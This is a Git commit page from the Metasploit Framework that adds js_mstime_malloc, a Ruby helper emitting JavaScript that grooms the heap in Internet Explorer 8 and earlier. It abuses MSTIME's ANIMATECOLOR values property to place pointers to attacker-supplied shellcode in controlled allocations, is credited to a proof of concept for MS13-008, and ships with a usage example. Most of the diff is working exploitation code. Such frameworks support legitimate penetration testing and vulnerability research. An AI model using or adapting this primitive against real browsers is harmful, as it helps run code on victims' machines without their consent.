Skip to content

Commit 9cc6244

Browse files
committed
Adds function js_mstime_malloc
This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's suitable for a no-spray technique (based on wtfuzz's PoC for MS13-008)
1 parent 1d9a695 commit 9cc6244

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -842,6 +842,71 @@ def js_ajax_download
842842
|
843843
end
844844

845+
846+
#
847+
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
848+
# suitable for a no-spray technique. There should be an allocation that contains an array of
849+
# pointers to strings that we control, and each string should reside in its own buffer.
850+
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
851+
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
852+
# writing style, so make sure you have the following before using:
853+
# * You must have the following at the beginning of your HTML file:
854+
# <!doctype html>
855+
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
856+
# * You must have the following in <meta>:
857+
# <meta>
858+
# <?IMPORT namespace="t" implementation="#default#time2">
859+
# </meta>
860+
#
861+
# The "mstime_malloc" JavaScript function supports the following arguments:
862+
# shellcode => The shellcode to place.
863+
# offset => Optional. The pointer index that points to the shellcode.
864+
# heapBlockSize => Object size.
865+
# objId => The ID to your ANIMATECOLOR element.
866+
#
867+
# Example of using "js_mstime_malloc":
868+
# <script>
869+
# #{js_mstime_malloc}
870+
#
871+
# shellcode = "\u4141\u4141\u4141\u4141";
872+
# offset = 3;
873+
# s = 0x58;
874+
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
875+
# </script>
876+
#
877+
def js_mstime_malloc
878+
%Q|
879+
function mstime_malloc(oArg) {
880+
shellcode = oArg.shellcode;
881+
offset = oArg.offset;
882+
heapBlockSize = oArg.heapBlockSize;
883+
objId = oArg.objId;
884+
885+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
886+
if (offset == undefined) { offset = 0; }
887+
if (heapBlockSize == undefined) { throw "Size must be defined"; }
888+
if (objId == undefined) { throw "ANIMATECOLOR element must be defined"; }
889+
890+
buf = "";
891+
for (i=0; i < heapBlockSize/4; i++) {
892+
if (i == offset) {
893+
if (i == 0) { buf += shellcode; }
894+
else { buf += ";" + shellcode; }
895+
}
896+
else {
897+
buf += ";cyan";
898+
}
899+
}
900+
901+
try {
902+
e = document.getElementById(objId);
903+
if (e == null) { throw "Invalid ANIMATECOLOR element"; }
904+
e.values = buf;
905+
} catch (e) {}
906+
}
907+
|
908+
end
909+
845910
#
846911
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
847912
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's

0 commit comments

Comments
 (0)